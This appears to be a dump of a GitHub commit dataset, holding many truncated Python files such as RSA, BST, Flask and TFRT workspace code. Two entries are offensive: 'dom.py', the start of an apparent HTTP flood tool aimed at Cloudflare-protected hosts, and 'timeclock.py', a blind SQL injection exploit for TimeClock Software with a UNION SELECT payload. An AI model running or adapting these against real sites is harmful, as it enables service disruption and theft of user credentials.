:type nums: List[int]
:rtype: void Do not return anything, modify nums in-place instead.
"""
count = 0
l = len(nums)
for i in range(l):
if nums[i] != 0:
nums[count] = nums[i]
... | mit | Python | |
f034c7a68aca66c872277092807a5e3a69772df8 | Create MVPGen.py | legendmohe/MVPGenerator,legendmohe/MVPGenerator | MVPGen.py | MVPGen.py | #!/usr/bin/python
import os
import argparse
import datetime
import json
import os, errno
from jinja2 import Environment, FileSystemLoader
# Capture our current directory
THIS_DIR = os.path.dirname(os.path.abspath(__file__))
OUTPUT_DIR = os.path.join(THIS_DIR, 'output')
MVP_DIR = os.path.join(OUTPUT_DIR, 'mvp')
ENV ... | apache-2.0 | Python | |
c0665538e6a69e4898729a6f89674fae09576fe0 | fix for mopti csref uren | yeleman/snisi,yeleman/snisi,yeleman/snisi,yeleman/snisi,yeleman/snisi | snisi_maint/management/commands/fix_mopti_ureni_and_october.py | snisi_maint/management/commands/fix_mopti_ureni_and_october.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# vim: ai ts=4 sts=4 et sw=4 nu
from __future__ import (unicode_literals, absolute_import,
division, print_function)
import logging
from django.core.management.base import BaseCommand
from snisi_core.models.Periods import MonthPeriod
from snisi_co... | mit | Python | |
9d2e9360d0578793cf284aa70d02f45cd0839e41 | add partition 2 | dragonwolverines/DataStructures,dragonwolverines/DataStructures,dragonwolverines/DataStructures | resource-4/combinatorics/integer-partitions/partition2.py | resource-4/combinatorics/integer-partitions/partition2.py | def partition2(n):
sum1 = [1] * (n+1)
for i in range(2, n+1):
for j in range(i, n+1):
sum1[j] += sum1[j-i]
return sum1[n]
| bsd-2-clause | Python | |
dc207dc3872040787c1a2d44c951781e1032d2a1 | Test requests module file. | channprj/uptime-robot,channprj/uptime-robot,channprj/uptime-robot | module/test_requests_module.py | module/test_requests_module.py | from __future__ import unicode_literals
import requests
def http_request(event, context):
options = {
'domain': 'chann.kr',
'protocol': 'https',
'path': '/',
'method': 'GET',
'allow_redirects': False,
'timeout': 5,
}
options.update(event)
response = req... | mit | Python | |
9590d6e330454d18951d00e483a02c1acdac532c | add wmflabs app.py thing | hatnote/montage,hatnote/montage,hatnote/montage | app.py | app.py | # this file is only used by wmflabs for hosting
from montage.server import app
| bsd-3-clause | Python | |
64d3a81b6e1f8e460cf3a1d6df1b4d687212baab | Add app.py | Oliph/steamFFS | app.py | app.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, redirect, session, json, g
from os.path import dirname, join
from flask_sqlalchemy import SQLAlchemy
from flask_openid import OpenID
from urllib.request import urlopen
from urllib.parse import urlencode
import re
app = Flask(__name__)
app.config.f... | bsd-3-clause | Python | |
8064cce0551fc8753e703ec068341c5c96a9ccf9 | Create bed.py | sammachin/dreamingplaces_bed | bed.py | bed.py | #! /usr/bin/env python
import pexpect
import os
import random
import time
import RPi.GPIO as GPIO
#Setup
GPIO.cleanup()
path = "/home/pi/Videos/"
channel = 18
lights = [3, 5, 7, 11, 13, 15, 19, 31]
def play_video():
video = random.choice(os.listdir(path))
vidpath = path + video
child = pexpect.spawn('omxplayer -... | mit | Python | |
a9f5008c24edc79b022f1ac577346d6e4bebb2b2 | add inline decorator | puttarajubr/commcare-hq,qedsoftware/commcare-hq,qedsoftware/commcare-hq,puttarajubr/commcare-hq,dimagi/commcare-hq,dimagi/commcare-hq,qedsoftware/commcare-hq,puttarajubr/commcare-hq,qedsoftware/commcare-hq,dimagi/commcare-hq,dimagi/commcare-hq,dimagi/commcare-hq,qedsoftware/commcare-hq,puttarajubr/commcare-hq | dimagi/utils/decorators/__init__.py | dimagi/utils/decorators/__init__.py | def inline(fn):
"""
decorator used to call a function in place
similar to JS `var user_id = (function () { ... }());`
example:
@inline
def user_id():
if request.couch_user.is_commcare_user():
return request.couch_user.get_id
else:
... | bsd-3-clause | Python | |
0886d0fe49f4176bfe6860c643d240a9b7e0053d | Integrate initial version of player draft item | leaffan/pynhldb | db/player_draft.py | db/player_draft.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from .common import Base, session_scope
class PlayerDraft(Base):
__tablename__ = 'player_drafts'
__autoload__ = True
def __init__(self, player_id, team_id, year, round, overall, dft_type='e'):
self.player_id = player_id
self.team_id =... | mit | Python | |
1de0c18f4424091d79a797d8d31a56f9a4083151 | add demo for get video | Ziggeo/ZiggeoPythonSdk,Ziggeo/ZiggeoPythonSdk | demos/get_video.py | demos/get_video.py | import sys
from Ziggeo import Ziggeo
if(len(sys.argv) < 4):
print "Error\n"
print "Usage: $>python delete.py YOUR_API_TOKEN YOUR_PRIVATE_KEY VIDEO_TOKEN\n"
sys.exit()
api_token = sys.argv[1]
private_key = sys.argv[2]
video_token = sys.argv[3]
ziggeo = Ziggeo(api_token, private_key)
print ziggeo.videos().get(vid... | apache-2.0 | Python | |
7994b14c8ebb73c7a7efb475d0f5b7c093569519 | add bst | jesseklein406/data-structures | bst.py | bst.py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
class Node(object):
size = 0
def __init__(self, value):
self.value = value
self.left = None
self.right = None
self.__class__.size += 1
def insert(self, value):
if value == self.value:
ret... | mit | Python | |
699f1f42e0387ac542cbe0905f825079e7aab755 | Add upload and delay test | Lakerfield/timelapse | testupload.py | testupload.py | #!/usr/bin/python
from datetime import datetime
from datetime import timedelta
import subprocess
import time
import logging
from wrappers import GPhoto
from wrappers import Identify
from wrappers import Curl
#sudo /usr/local/bin/gphoto2 --capture-image-and-download --filename 'test3.jpg'
#curl --form "fileupload=@te... | mit | Python | |
41a8b4f0c4280d1d17720c0d1c7bbe7f347eb1f4 | Add animation | shivnshu/AMR-System,shivnshu/AMR-System,shivnshu/AMR-System,shivnshu/AMR-System | core_animation.py | core_animation.py | #!/usr/bin/env python
##Copyright 2009-2014 Thomas Paviot (tpaviot@gmail.com)
##
##This file is part of pythonOCC.
##
##pythonOCC is free software: you can redistribute it and/or modify
##it under the terms of the GNU Lesser General Public License as published by
##the Free Software Foundation, either version 3 of the... | mit | Python | |
c17de716a2589d9b08fae7da399006538ead4fa8 | add first string function, str_c | machow/siuba | siuba/dply/string.py | siuba/dply/string.py | import pandas as pd
import numpy as np
from functools import singledispatch
import itertools
from ..siu import Symbolic, create_sym_call,Call
def register_symbolic(f):
# TODO: don't use singledispatch if it has already been done
f = singledispatch(f)
@f.register(Symbolic)
def _dispatch_symbol(__data,... | mit | Python | |
1f7b43a8a324c3a8965bb2a5501efbe96191ddc9 | Create InputNeuronGroup_Baxter.py | ricardodeazambuja/BrianConnectUDP | examples/InputNeuronGroup_Baxter.py | examples/InputNeuronGroup_Baxter.py | '''
Generates the user input spikes to the liquid
'''
import brian_no_units # Speeds up Brian by ignoring the units
from brian import *
from brian_multiprocess_udp import BrianConnectUDP
import numpy
import time
outputclock_dt = 100 #in milliseconds
Number_of_Neurons_Output = 30*3
current_position = (0.445,0.... | cc0-1.0 | Python | |
8ea1f45fc046c4dc53a77615229653c65b8f91d5 | Create dom.py | Mohammed-Ghiad/CFDominator,PyXFKod/CFDominator | dom.py | dom.py | import requests
import cfscrape
import sys
import random
import re
import string
import threading
import time
headers_useragents=[]
headers_referers=[]
scraper = cfscrape.create_scraper() # returns a requests.Session object
host = sys.argv[1]
def useragent_list():
global headers_useragents
headers_useragents.append('... | mit | Python | |
2ffaa880ab6ff8f8d294324619438b311e09aa6a | Create lex.py | V1Soft/Essential | lex.py | lex.py | # Defining all variables
def lex(parsedScript):
lexedScript = parsedScript
index = 0
for structure in parsedScript:
if structure[0] == 'use':
proto = ''
pkg = ''
if structure[1].startswith('.'):
proto = structure[1][1:]
else:
... | bsd-3-clause | Python | |
9d2c696cc888d124a6f0938c03731fb45b51b018 | add test-muc-invite.py (disabled for now) | freedesktop-unofficial-mirror/telepathy__telepathy-salut,freedesktop-unofficial-mirror/telepathy__telepathy-salut,freedesktop-unofficial-mirror/telepathy__telepathy-salut,freedesktop-unofficial-mirror/telepathy__telepathy-salut | tests/twisted/avahi/test-muc-invite.py | tests/twisted/avahi/test-muc-invite.py | """
Test receiving and sending muc invitations
"""
import avahi
import dbus
from saluttest import exec_test
from avahitest import AvahiAnnouncer, AvahiListener
from avahitest import get_host_name
from xmppstream import setup_stream_listener, connect_to_stream
from servicetest import make_channel_proxy
from twisted.... | lgpl-2.1 | Python | |
fe841d7c6228a119e05e1c1baa4ad8adbeee9cfa | Create test_file.py | pygo102/ansible_class | test_file.py | test_file.py | # test file
| apache-2.0 | Python | |
67164cadc3f3445298da2fb490971cf22e2f146b | Add very low level state handlers. | SunDwarf/curious | curious/ext/loapi/__init__.py | curious/ext/loapi/__init__.py | """
A lower-level State that doesn't do any special object handling.
"""
import inspect
import typing
from curious.gateway import Gateway
from curious.state import State
class PureDispatchState(State):
"""
A lower-level State that doesn't do any special object handling.
This state allows you to pass JSON... | mit | Python | |
593ec3815683e428f5dfc20e893bb71e5be086df | Create timeclock.py | timip/exploit | timeclock.py | timeclock.py | #!/usr/bin/env python
#
# Time-based blind SQL injection for TimeClock Sofware
# Based on TimeClock Software 0.995 - Multiple SQL Injections
# https://www.exploit-db.com/exploits/39404/
#
# Usage: timeclock.py <Host> <Port>
#
import requests, string, sys
query = "' union SELECT * from user_info WHERE username = 'ad... | apache-2.0 | Python | |
af7b495b954bb624cbd95e0019fa3b2cb3be6b05 | Implement a public-key cipher (RSA) | ElliotPenson/cryptography | rsa.py | rsa.py | #!/usr/local/bin/python
"""
RSA.py
@author Elliot and Erica
"""
import random
from cryptography_utilities import (block_split, decimal_to_binary,
binary_to_decimal, gcd, extended_gcd, random_prime, left_pad,
pad_plaintext, unpad_plaintext, random_relative_prime,
group_exponentiation)
MODULUS_BITS = 16
... | mit | Python | |
fb9640f52ff91c18d4fe0fb05bb2d9803e297a8e | Add a runtime file | asimonia/Flask-Task,asimonia/Flask-Task | run.py | run.py | from views import app
app.run(debug=True) | apache-2.0 | Python | |
5493767b2596c8a7d3c8c2bc7ceb549a0bc24581 | Add misc | mossberg/spym,mossberg/spym | util/misc.py | util/misc.py | # Why this file exists:
# This file exists because of the circular dependency between emu.instruction
# and util.parse. doing any sort of `from util.parse import` in emu.instruction
# will fail because util.parse also requires emu.instruction.Instruction
# however, but that hasn't been loaded yet at import time. So we ... | mit | Python | |
c3dcafd985f405c878f142cf4f4a9185a37d738a | Create models.py | carthage-college/django-djspace,carthagecollege/django-djspace,carthage-college/django-djspace,carthagecollege/django-djspace,carthage-college/django-djspace,carthage-college/django-djspace,carthagecollege/django-djspace | djspace/application/models.py | djspace/application/models.py | mit | Python | ||
4aead6ce6a7a6fc1d28d4acf31d972c3e1aa6840 | test for concurrent | piotrmaslanka/satella,piotrmaslanka/satella | tests/test_coding/test_concurrent.py | tests/test_coding/test_concurrent.py | # coding=UTF-8
from __future__ import print_function, absolute_import, division
import six
import unittest
from satella.coding import CallableGroup
class TestCallableGroup(unittest.TestCase):
def test_callable_group(self):
a = {
'a': False,
'b': False
}
opF = lam... | mit | Python | |
fdaaad97dcac04b694c2716c46c57decc45a520e | Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/697cf87a9d4d83cb530acf49926fd698755b53e3. | tensorflow/tensorflow,karllessard/tensorflow,tensorflow/tensorflow,karllessard/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,Intel-Corporation/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,Intel-Corporation/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,yongta... | third_party/tf_runtime/workspace.bzl | third_party/tf_runtime/workspace.bzl | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "697cf87a9d4d83cb530acf49926fd698755b53e3"
TFRT_SHA256 = "61bab910ed28ea18388c083f649c8743498e9c0f7232bf... | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "505abf74da3ff29d0332997a3ea950a7bcf4fbcd"
TFRT_SHA256 = "2046e3f5410a9b5108984c422c4358a0b8deba6ec82cdc... | apache-2.0 | Python |
795a073fead5b4690707878145d29c05f8fd4114 | Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/2ed7de5d89079af89e91f8388c2fb3ff7ca3c945. | tensorflow/tensorflow-experimental_link_static_libraries_once,tensorflow/tensorflow-pywrap_saved_model,Intel-Corporation/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,paolodedios/tensorflow,paolodedios/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,Intel-tensorflow/tensorflow,gautam1858... | third_party/tf_runtime/workspace.bzl | third_party/tf_runtime/workspace.bzl | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "2ed7de5d89079af89e91f8388c2fb3ff7ca3c945"
TFRT_SHA256 = "c8728c821b98a29ff069d0ccacdd... | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "9ad01386ce4afc3950a5784f702b91d63fa630d8"
TFRT_SHA256 = "7f879cfcfb99ec37a0b32a9b3190... | apache-2.0 | Python |
3751e77dbb85db160f099a7fc7f6218aac51ef7d | Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/13b42077fda01a28b4d25936fd773c39f914080d. | gautam1858/tensorflow,paolodedios/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,tensorflow/tensorflow-pywrap_tf_optimizer,tensorflow/tensorflow-pywrap_tf_optimizer,tensorflow/tensorflow-experimental_link_static_libraries_once,tensorflow/tensorflow-pywrap_tf_optimizer,yongtang/tensorflow,yongt... | third_party/tf_runtime/workspace.bzl | third_party/tf_runtime/workspace.bzl | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "13b42077fda01a28b4d25936fd773c39f914080d"
TFRT_SHA256 = "530ffb06838a4bb85a40b2996359... | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "97fec1eaab28deda880842b5327fdbc0e7db7c01"
TFRT_SHA256 = "d4b74036d9188d83edda78063916... | apache-2.0 | Python |
9ff0f9a27c0281b06308322b011b9a524de44237 | Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/1b62dfd762ed7fc752af1d4ea01a1da07edc0c37. | tensorflow/tensorflow-pywrap_saved_model,Intel-tensorflow/tensorflow,paolodedios/tensorflow,tensorflow/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,tensorflow/tensorflow-pywrap_saved_model,tensorflow/tensorflow-experimental_link_static_libraries_once,tensorflow/tensorflow,frreiss/tensorflow-fred,tensorflow/tens... | third_party/tf_runtime/workspace.bzl | third_party/tf_runtime/workspace.bzl | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "1b62dfd762ed7fc752af1d4ea01a1da07edc0c37"
TFRT_SHA256 = "917e213e2cd4ce7055f69c1b0b3cd9044dd7f6772a3b2a... | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "c24d8a6b8f12e7fdaa74cf9c33f0c4753fc09a99"
TFRT_SHA256 = "b1a974921e49580e86ad74e5607a03a66ab74a1ed917ba... | apache-2.0 | Python |
de60afa5b5bdbe2858bfaf79b4d91fcc233ade33 | Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/586958ad944c9ef7727bd25e2f272bddf610294b. | gautam1858/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,Intel-tensorflow/tensorflow,frreiss/tensorflow-fred,tensorflow/tensorflow-pywrap_saved_model,Intel-tensorflow/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,tensorflow/tensorflow,tensorflow/tensorflow-experimental_link_static_libraries_once,Intel-ten... | third_party/tf_runtime/workspace.bzl | third_party/tf_runtime/workspace.bzl | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "586958ad944c9ef7727bd25e2f272bddf610294b"
TFRT_SHA256 = "044d19e98e68fcc7ddd80470cdbc1121e639ffce48e8e5... | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "2cc36aa387ce0c56d4103e232ad3a065d01551d6"
TFRT_SHA256 = "3d24038ab9d47fb741687487c8b747b760b3f160e99d7e... | apache-2.0 | Python |
77cd35e791c428499d5a14b434e0fd44bc5519b6 | Update TFRT dependency to use revision http://github.com/tensorflow/runtime/commit/78369d47265d78af9e171e85825343006311a054. | gautam1858/tensorflow,gautam1858/tensorflow,tensorflow/tensorflow,yongtang/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,paolodedios/tensorflow,tensorflow/tensorflow-pywrap_tf_optimizer,tensorflow/tensorflow-pywrap_tf_optimizer,yongtang/tensorflow,tensorflow/tensorflow,tensorflow/tensorflow-experimental_link_sta... | third_party/tf_runtime/workspace.bzl | third_party/tf_runtime/workspace.bzl | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "78369d47265d78af9e171e85825343006311a054"
TFRT_SHA256 = "7011ce4653b1010b52bbf35ec5f5... | """Provides the repository macro to import TFRT."""
load("//third_party:repo.bzl", "tf_http_archive", "tf_mirror_urls")
def repo():
"""Imports TFRT."""
# Attention: tools parse and update these lines.
TFRT_COMMIT = "92c0bd2786449fcfa6abee89b306843550b39c5a"
TFRT_SHA256 = "52584ccd554dc085eacb248a8729... | apache-2.0 | Python |
2b59f82af034190af9142d71a36fa1a026b26553 | Add CCGCA to juriscraper | freelawproject/juriscraper,freelawproject/juriscraper | juriscraper/opinions/united_states/federal_special/cgcca.py | juriscraper/opinions/united_states/federal_special/cgcca.py | """Scraper for US Coast Guard Court of Criminal Appeals
CourtID: cgcca
Court Short Name: C.G. Ct. Crim. App.
Author: Evando Blanco
Reviewer: flooie
History:
2021-03-29: Created by Evando Blanco
2021-12-17: Updated by flooie for OpinionSiteLinear
"""
import re
from typing import List
from juriscraper.lib.str... | bsd-2-clause | Python | |
655bcda0bd609008acf0fe76369b454f696e176b | Create week3.py | sgranitz/northwestern,sgranitz/nw,sgranitz/nw,sgranitz/northwestern | predict400/week3.py | predict400/week3.py | ## Week 3: Solving Minimization Problems
# Extending the client project example from last week.
# The project is worked by 2 types of workers (Manager, Offshore).
# The manager worked x hours on the project
# and offshore staff worked y hours, for at least 1200 hours.
# Managers cost 150/hour but bring in revenue ... | mit | Python | |
11a2e559a14561f404d73a1756a1c8d4c18eb7bb | make example use real pin3 and make work on gen2 | Pillar1989/mraa,tripzero/mraa,Hbrinj/mraa,jontrulson/mraa,nioinnovation/mraa,yongli3/mraa,neuberfran/mraa,arfoll/mraa,zBMNForks/mraa,petreeftime/mraa,yongli3/mraa,Pillar1989/mraa,timrtoo/Intel,Jon-ICS/mraa,neuroidss/mraa,yongli3/mraa,zBMNForks/mraa,noahchense/mraa,stefan-andritoiu/mraa-gpio-chardev,damcclos/mraa,ncrast... | examples/python/cycle-pwm3.py | examples/python/cycle-pwm3.py | #!/usr/bin/env python
# Author: Thomas Ingleby <thomas.c.ingleby@intel.com>
# Copyright (c) 2014 Intel Corporation.
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, inc... | #!/usr/bin/env python
# Author: Thomas Ingleby <thomas.c.ingleby@intel.com>
# Copyright (c) 2014 Intel Corporation.
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, inc... | mit | Python |
e9d061f542033337a6892cae94b5967bdca24db4 | add simple unit test | artefactual/archivematica,artefactual/archivematica,artefactual/archivematica,artefactual/archivematica | src/MCPServer/tests/test_package.py | src/MCPServer/tests/test_package.py | import pytest
from package import _determine_transfer_paths
@pytest.mark.parametrize("name,path,tmpdir,expected", [
(
"TransferName",
"a00a29b6-7530-4f09-b3df-fd88d9e478b1:home/username/archive.zip",
"/tmp/tmp.WXA9V7LCy1",
(
# copy_to
"/tmp/tmp.WXA9V7LCy1",... | agpl-3.0 | Python | |
3faebf7590cd06f7bdeba639cf5dd19bf2f4b364 | Create Tree.py | UmassJin/Leetcode | Array/Tree.py | Array/Tree.py | #! /usr/bin/env python
class tree_node(object):
def __init__(self, value):
self.val = value
self.left = None
self.right = None
def create_minimum_BST(datalist, start, end):
if end < start:
return None
mid = (start + end) / 2
n = tree_node(datalist[mid])
n.left = cre... | mit | Python | |
3f55d16fb40acc07cf07588249126cc543d9ad07 | Read a P4 file and get its HLIR. | yo2seol/P4-Wireshark-Dissector | dissector/main.py | dissector/main.py | import os
import sys
sys.path.append('../p4_hlir/')
from p4_hlir.main import HLIR
p4_source = sys.argv[1]
absolute_source = os.path.join(os.getcwd(), p4_source)
if not os.path.isfile(absolute_source):
print "Source file '" + p4_source + \
"' could not be opened or does not exist."
hlir = HLIR(absolute_s... | apache-2.0 | Python | |
9fa48ac98fc06c18f706c722eea74ad3c4a90ea9 | add brute force | lemming52/white_pawn,lemming52/white_pawn | leetcode/q560/solution.py | leetcode/q560/solution.py | """
Given an array of integers and an integer k, you need to find the total number of continuous subarrays whose sum equals to k.
Example 1:
Input:nums = [1,1,1], k = 2
Output: 2
Note:
The length of the array is in range [1, 20,000].
The range of numbers in the array is [-1000, 1000] and the range of the integ... | mit | Python | |
bf0e199be1d75dc127e0236f5d94c009f5eb6c61 | Add the data and src | largelymfs/PageRankdemo | src/web_crawler.py | src/web_crawler.py | #-*- coding:utf-8 -*-
def web_name(url):
if __name__=="__main__":
| mit | Python | |
eaddedcabea76ea17fa988960fc70fa41b17c2cb | convert old wizard into osv memory wizard for configuration | xrg/openerp-server,xrg/openerp-server | bin/addons/base/module/wizard/base_module_configuration.py | bin/addons/base/module/wizard/base_module_configuration.py | # -*- coding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU... | agpl-3.0 | Python | |
cda6d1355aa7146bc52693e1a6f35df60f614174 | Add Payment type model.` | 0xporky/mgnemu-python | mgnemu/models/PaymentType.py | mgnemu/models/PaymentType.py | # -*- coding: utf-8 -*-
"""
Model of payment types, needed when client pays for purchase.
"""
from . import BaseModel
class PaymentType(BaseModel):
def __init__(self):
self.__sum = 0
self.__no = 0
self.__rrn = ''
self.__card = ''
@property
def sum(self):
return... | mit | Python | |
dd14ec5a23766cab5afc8f60a3cb4620c387d9bf | Test SSL_ENGINES option. | pycurl/pycurl,pycurl/pycurl,pycurl/pycurl | tests/info_test.py | tests/info_test.py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
# vi:ts=4:et
import pycurl
import unittest
from . import util
class InfoTest(unittest.TestCase):
@util.only_ssl
def test_ssl_engines(self):
curl = pycurl.Curl()
engines = curl.getinfo(curl.SSL_ENGINES)
# Typical result:
# - an emp... | lgpl-2.1 | Python | |
416d72e96c235c50ad4622f0974f93e0fdf7839e | Add preprocessing.py | ankur-gos/PSL-Bipedal,ankur-gos/PSL-Bipedal | preprocessing/preprocessing.py | preprocessing/preprocessing.py | '''
preprocessing.py
Preprocess locations by clustering them
Ankur Goswami, agoswam3@ucsc.edu
''' | mit | Python |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.